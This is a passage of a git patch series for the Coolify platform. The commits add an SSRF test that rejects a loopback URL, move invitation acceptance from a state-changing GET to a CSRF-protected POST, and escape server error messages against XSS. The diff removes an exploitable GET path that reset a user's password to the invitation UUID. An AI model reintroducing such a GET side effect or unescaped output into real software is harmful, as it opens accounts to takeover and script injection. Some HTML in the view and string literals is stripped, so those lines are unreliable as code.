+ 'no scheme' => 'example.com',
+]);
+
+it('rejects URLs with IPv6 loopback', function () {
+ $rule = new SafeExternalUrl;
+
+ $validator = Validator::make(['url' => 'http://[::1]'], ['url' => $rule]);
+ expect($validator->fails())->toBeTrue('Expected rejection: IPv6 loopback');
+});
From 25d424c743d5134d4a005a6d8f754bb3235b632c Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Thu, 26 Mar 2026 14:30:27 +0100
Subject: [PATCH 34/95] refactor: split invitation endpoint into GET (show) and
POST (accept)
Refactor the invitation acceptance flow to use a landing page pattern:
- GET shows invitation details (team name, role, confirmation button)
- POST processes the acceptance with proper form submission
- Remove unused revoke GET route (handled by Livewire component)
- Add Blade view for the invitation landing page
- Add feature tests for the new invitation flow
Co-Authored-By: Claude Opus 4.6
---
app/Http/Controllers/Controller.php | 62 ++++----
resources/views/invitation/accept.blade.php | 43 +++++
routes/web.php | 9 +-
.../TeamInvitationCsrfProtectionTest.php | 147 ++++++++++++++++++
4 files changed, 226 insertions(+), 35 deletions(-)
create mode 100644 resources/views/invitation/accept.blade.php
create mode 100644 tests/Feature/TeamInvitationCsrfProtectionTest.php
diff --git a/app/Http/Controllers/Controller.php b/app/Http/Controllers/Controller.php
index 09007ad96..17d14296b 100644
--- a/app/Http/Controllers/Controller.php
+++ b/app/Http/Controllers/Controller.php
@@ -108,9 +108,31 @@ public function link()
return redirect()->route('login')->with('error', 'Invalid credentials.');
}
+ public function showInvitation()
+ {
+ $invitationUuid = request()->route('uuid');
+ $invitation = TeamInvitation::whereUuid($invitationUuid)->firstOrFail();
+ $user = User::whereEmail($invitation->email)->firstOrFail();
+
+ if (Auth::id() !== $user->id) {
+ abort(400, 'You are not allowed to accept this invitation.');
+ }
+
+ if (! $invitation->isValid()) {
+ abort(400, 'Invitation expired.');
+ }
+
+ $alreadyMember = $user->teams()->where('team_id', $invitation->team->id)->exists();
+
+ return view('invitation.accept', [
+ 'invitation' => $invitation,
+ 'team' => $invitation->team,
+ 'alreadyMember' => $alreadyMember,
+ ]);
+ }
+
public function acceptInvitation()
{
- $resetPassword = request()->query('reset-password');
$invitationUuid = request()->route('uuid');
$invitation = TeamInvitation::whereUuid($invitationUuid)->firstOrFail();
@@ -119,43 +141,21 @@ public function acceptInvitation()
if (Auth::id() !== $user->id) {
abort(400, 'You are not allowed to accept this invitation.');
}
- $invitationValid = $invitation->isValid();
- if ($invitationValid) {
- if ($resetPassword) {
- $user->update([
- 'password' => Hash::make($invitationUuid),
- 'force_password_reset' => true,
- ]);
- }
- if ($user->teams()->where('team_id', $invitation->team->id)->exists()) {
- $invitation->delete();
-
- return redirect()->route('team.index');
- }
- $user->teams()->attach($invitation->team->id, ['role' => $invitation->role]);
- $invitation->delete();
-
- refreshSession($invitation->team);
-
- return redirect()->route('team.index');
- } else {
+ if (! $invitation->isValid()) {
abort(400, 'Invitation expired.');
}
- }
- public function revokeInvitation()
- {
- $invitation = TeamInvitation::whereUuid(request()->route('uuid'))->firstOrFail();
- $user = User::whereEmail($invitation->email)->firstOrFail();
- if (is_null(Auth::user())) {
- return redirect()->route('login');
- }
- if (Auth::id() !== $user->id) {
- abort(401);
+ if ($user->teams()->where('team_id', $invitation->team->id)->exists()) {
+ $invitation->delete();
+
+ return redirect()->route('team.index');
}
+ $user->teams()->attach($invitation->team->id, ['role' => $invitation->role]);
$invitation->delete();
+ refreshSession($invitation->team);
+
return redirect()->route('team.index');
}
}
diff --git a/resources/views/invitation/accept.blade.php b/resources/views/invitation/accept.blade.php
new file mode 100644
index 000000000..7e4773866
--- /dev/null
+++ b/resources/views/invitation/accept.blade.php
@@ -0,0 +1,43 @@
+
+
+
+
+
+
+ Coolify
+
+
+
+
+
+
Team Invitation
+
+
+ You have been invited to join:
+
+
+ {{ $team->name }}
+
+
+
+ Role: {{ ucfirst($invitation->role) }}
+
+
+ @if ($alreadyMember)
+
+
You are already a member of this team.
+
+ @endif
+
+
+
+
+
+
+
+
diff --git a/routes/web.php b/routes/web.php
index 4154fefab..dfb44324c 100644
--- a/routes/web.php
+++ b/routes/web.php
@@ -84,6 +84,7 @@
use App\Livewire\Team\Member\Index as TeamMemberIndex;
use App\Livewire\Terminal\Index as TerminalIndex;
use App\Models\ScheduledDatabaseBackupExecution;
+use App\Models\ServiceDatabase;
use App\Providers\RouteServiceProvider;
use Illuminate\Support\Facades\Route;
use Illuminate\Support\Facades\Storage;
@@ -192,8 +193,8 @@
})->name('terminal.auth.ips')->middleware('can.access.terminal');
Route::prefix('invitations')->group(function () {
- Route::get('/{uuid}', [Controller::class, 'acceptInvitation'])->name('team.invitation.accept');
- Route::get('/{uuid}/revoke', [Controller::class, 'revokeInvitation'])->name('team.invitation.revoke');
+ Route::get('/{uuid}', [Controller::class, 'showInvitation'])->name('team.invitation.show');
+ Route::post('/{uuid}', [Controller::class, 'acceptInvitation'])->name('team.invitation.accept');
});
Route::get('/projects', ProjectIndex::class)->name('project.index');
@@ -344,7 +345,7 @@
}
}
$filename = data_get($execution, 'filename');
- if ($execution->scheduledDatabaseBackup->database->getMorphClass() === \App\Models\ServiceDatabase::class) {
+ if ($execution->scheduledDatabaseBackup->database->getMorphClass() === ServiceDatabase::class) {
$server = $execution->scheduledDatabaseBackup->database->service->destination->server;
} else {
$server = $execution->scheduledDatabaseBackup->database->destination->server;
@@ -385,7 +386,7 @@
'Content-Type' => 'application/octet-stream',
'Content-Disposition' => 'attachment; filename="'.basename($filename).'"',
]);
- } catch (\Throwable $e) {
+ } catch (Throwable $e) {
return response()->json(['message' => $e->getMessage()], 500);
}
})->name('download.backup');
diff --git a/tests/Feature/TeamInvitationCsrfProtectionTest.php b/tests/Feature/TeamInvitationCsrfProtectionTest.php
new file mode 100644
index 000000000..1e911ed86
--- /dev/null
+++ b/tests/Feature/TeamInvitationCsrfProtectionTest.php
@@ -0,0 +1,147 @@
+team = Team::factory()->create();
+ $this->user = User::factory()->create(['email' => 'invited@example.com']);
+
+ $this->invitation = TeamInvitation::create([
+ 'team_id' => $this->team->id,
+ 'uuid' => 'test-invitation-uuid',
+ 'email' => 'invited@example.com',
+ 'role' => 'member',
+ 'link' => url('/invitations/test-invitation-uuid'),
+ 'via' => 'link',
+ ]);
+});
+
+test('GET invitation shows landing page without accepting', function () {
+ $this->actingAs($this->user);
+
+ $response = $this->get('/invitations/test-invitation-uuid');
+
+ $response->assertStatus(200);
+ $response->assertViewIs('invitation.accept');
+ $response->assertSee($this->team->name);
+ $response->assertSee('Accept Invitation');
+
+ // Invitation should NOT be deleted (not accepted yet)
+ $this->assertDatabaseHas('team_invitations', [
+ 'uuid' => 'test-invitation-uuid',
+ ]);
+
+ // User should NOT be added to the team
+ expect($this->user->teams()->where('team_id', $this->team->id)->exists())->toBeFalse();
+});
+
+test('GET invitation with reset-password query param does not reset password', function () {
+ $this->actingAs($this->user);
+ $originalPassword = $this->user->password;
+
+ $response = $this->get('/invitations/test-invitation-uuid?reset-password=1');
+
+ $response->assertStatus(200);
+
+ // Password should NOT be changed
+ $this->user->refresh();
+ expect($this->user->password)->toBe($originalPassword);
+
+ // Invitation should NOT be accepted
+ $this->assertDatabaseHas('team_invitations', [
+ 'uuid' => 'test-invitation-uuid',
+ ]);
+});
+
+test('POST invitation accepts and adds user to team', function () {
+ $this->actingAs($this->user);
+
+ $response = $this->post('/invitations/test-invitation-uuid');
+
+ $response->assertRedirect(route('team.index'));
+
+ // Invitation should be deleted
+ $this->assertDatabaseMissing('team_invitations', [
+ 'uuid' => 'test-invitation-uuid',
+ ]);
+
+ // User should be added to the team
+ expect($this->user->teams()->where('team_id', $this->team->id)->exists())->toBeTrue();
+});
+
+test('POST invitation without CSRF token is rejected', function () {
+ $this->actingAs($this->user);
+
+ $response = $this->withoutMiddleware(EncryptCookies::class)
+ ->post('/invitations/test-invitation-uuid', [], [
+ 'X-CSRF-TOKEN' => 'invalid-token',
+ ]);
+
+ // Should be rejected with 419 (CSRF token mismatch)
+ $response->assertStatus(419);
+
+ // Invitation should NOT be accepted
+ $this->assertDatabaseHas('team_invitations', [
+ 'uuid' => 'test-invitation-uuid',
+ ]);
+});
+
+test('unauthenticated user cannot view invitation', function () {
+ $response = $this->get('/invitations/test-invitation-uuid');
+
+ $response->assertRedirect();
+});
+
+test('wrong user cannot view invitation', function () {
+ $otherUser = User::factory()->create(['email' => 'other@example.com']);
+ $this->actingAs($otherUser);
+
+ $response = $this->get('/invitations/test-invitation-uuid');
+
+ $response->assertStatus(400);
+});
+
+test('wrong user cannot accept invitation via POST', function () {
+ $otherUser = User::factory()->create(['email' => 'other@example.com']);
+ $this->actingAs($otherUser);
+
+ $response = $this->post('/invitations/test-invitation-uuid');
+
+ $response->assertStatus(400);
+
+ // Invitation should still exist
+ $this->assertDatabaseHas('team_invitations', [
+ 'uuid' => 'test-invitation-uuid',
+ ]);
+});
+
+test('GET revoke route no longer exists', function () {
+ $this->actingAs($this->user);
+
+ $response = $this->get('/invitations/test-invitation-uuid/revoke');
+
+ $response->assertStatus(404);
+});
+
+test('POST invitation for already-member user deletes invitation without duplicating', function () {
+ $this->user->teams()->attach($this->team->id, ['role' => 'member']);
+ $this->actingAs($this->user);
+
+ $response = $this->post('/invitations/test-invitation-uuid');
+
+ $response->assertRedirect(route('team.index'));
+
+ // Invitation should be deleted
+ $this->assertDatabaseMissing('team_invitations', [
+ 'uuid' => 'test-invitation-uuid',
+ ]);
+
+ // User should still have exactly one membership in this team
+ expect($this->user->teams()->where('team_id', $this->team->id)->count())->toBe(1);
+});
From 103d5b6c0634644b8e1bc01bf8540480aef65d0a Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Thu, 26 Mar 2026 18:36:36 +0100
Subject: [PATCH 35/95] fix: sanitize error output in server validation logs
Escape dynamic error messages with htmlspecialchars() before
concatenating into HTML strings stored in validation_logs. Add a
Purify-based mutator on Server model as defense-in-depth, with a
dedicated HTMLPurifier config that allows only safe structural tags.
Co-Authored-By: Claude Opus 4.6
---
app/Actions/Server/ValidateServer.php | 3 +-
app/Jobs/ValidateAndInstallServerJob.php | 5 +-
app/Livewire/Server/PrivateKey/Show.php | 3 +-
app/Livewire/Server/ValidateAndInstall.php | 3 +-
app/Models/Server.php | 7 ++
config/purify.php | 11 ++++
tests/Feature/ServerValidationXssTest.php | 75 ++++++++++++++++++++++
7 files changed, 102 insertions(+), 5 deletions(-)
create mode 100644 tests/Feature/ServerValidationXssTest.php
diff --git a/app/Actions/Server/ValidateServer.php b/app/Actions/Server/ValidateServer.php
index 0a20deae5..22c48aa89 100644
--- a/app/Actions/Server/ValidateServer.php
+++ b/app/Actions/Server/ValidateServer.php
@@ -30,7 +30,8 @@ public function handle(Server $server)
]);
['uptime' => $this->uptime, 'error' => $error] = $server->validateConnection();
if (! $this->uptime) {
- $this->error = 'Server is not reachable. Please validate your configuration and connection. Check this documentation for further help.
Error: '.$error.'
';
+ $sanitizedError = htmlspecialchars($error ?? '', ENT_QUOTES, 'UTF-8');
+ $this->error = 'Server is not reachable. Please validate your configuration and connection. Check this documentation for further help.
Error: '.$sanitizedError.'
';
$server->update([
'validation_logs' => $this->error,
]);
diff --git a/app/Jobs/ValidateAndInstallServerJob.php b/app/Jobs/ValidateAndInstallServerJob.php
index 288904471..ee8cf2797 100644
--- a/app/Jobs/ValidateAndInstallServerJob.php
+++ b/app/Jobs/ValidateAndInstallServerJob.php
@@ -45,7 +45,8 @@ public function handle(): void
// Validate connection
['uptime' => $uptime, 'error' => $error] = $this->server->validateConnection();
if (! $uptime) {
- $errorMessage = 'Server is not reachable. Please validate your configuration and connection. Check this documentation for further help.
Error: '.$error;
+ $sanitizedError = htmlspecialchars($error ?? '', ENT_QUOTES, 'UTF-8');
+ $errorMessage = 'Server is not reachable. Please validate your configuration and connection. Check this documentation for further help.
Error: '.$sanitizedError;
$this->server->update([
'validation_logs' => $errorMessage,
'is_validating' => false,
@@ -197,7 +198,7 @@ public function handle(): void
]);
$this->server->update([
- 'validation_logs' => 'An error occurred during validation: '.$e->getMessage(),
+ 'validation_logs' => 'An error occurred during validation: '.htmlspecialchars($e->getMessage(), ENT_QUOTES, 'UTF-8'),
'is_validating' => false,
]);
}
diff --git a/app/Livewire/Server/PrivateKey/Show.php b/app/Livewire/Server/PrivateKey/Show.php
index fd55717fa..810b95ed4 100644
--- a/app/Livewire/Server/PrivateKey/Show.php
+++ b/app/Livewire/Server/PrivateKey/Show.php
@@ -63,7 +63,8 @@ public function checkConnection()
$this->dispatch('success', 'Server is reachable.');
$this->dispatch('refreshServerShow');
} else {
- $this->dispatch('error', 'Server is not reachable.
Error: '.$sanitizedError);
return;
}
diff --git a/app/Livewire/Server/ValidateAndInstall.php b/app/Livewire/Server/ValidateAndInstall.php
index 198d823b9..59ca4cd36 100644
--- a/app/Livewire/Server/ValidateAndInstall.php
+++ b/app/Livewire/Server/ValidateAndInstall.php
@@ -89,7 +89,8 @@ public function validateConnection()
$this->authorize('update', $this->server);
['uptime' => $this->uptime, 'error' => $error] = $this->server->validateConnection();
if (! $this->uptime) {
- $this->error = 'Server is not reachable. Please validate your configuration and connection. Check this documentation for further help.
Error: '.$error.'
';
+ $sanitizedError = htmlspecialchars($error ?? '', ENT_QUOTES, 'UTF-8');
+ $this->error = 'Server is not reachable. Please validate your configuration and connection. Check this documentation for further help.